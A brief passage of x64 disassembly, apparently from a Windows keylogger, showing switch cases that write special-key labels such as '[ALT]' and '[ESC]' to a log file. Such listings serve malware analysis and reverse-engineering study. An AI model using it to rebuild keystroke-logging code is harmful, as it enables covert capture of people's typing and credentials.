mov rcx, rax
call sym.fwrite
jmp case.0x14000160c.10
mov rax, qword [rbp + 0x1b8]
mov r9, rax
mov r8d, 5
mov edx, 1
lea rax, str._ALT_
mov rcx, rax
call sym.fwrite
jmp case.0x14000160c.10
mov rax, qword [rbp + 0x1b8]
mov r9, rax
mov r8d, 5
mov edx, 1
lea rax, str._ESC_
mov rcx, rax
call sym.fwrite
jmp case.0x14000160c.10
mov rax, qword [rbp + 0x1b8]
mov rdx, rax
mov ecx, 0x20
call sym.fputc
nop
mov dword [rbp + 0x1c8], 0
movzx eax, byte [rbp + 0x1cf]
add eax, 1
mov byte [rbp + 0x1cf], al
jmp 0x140001563
add rsp, 0x250
pop rbp
ret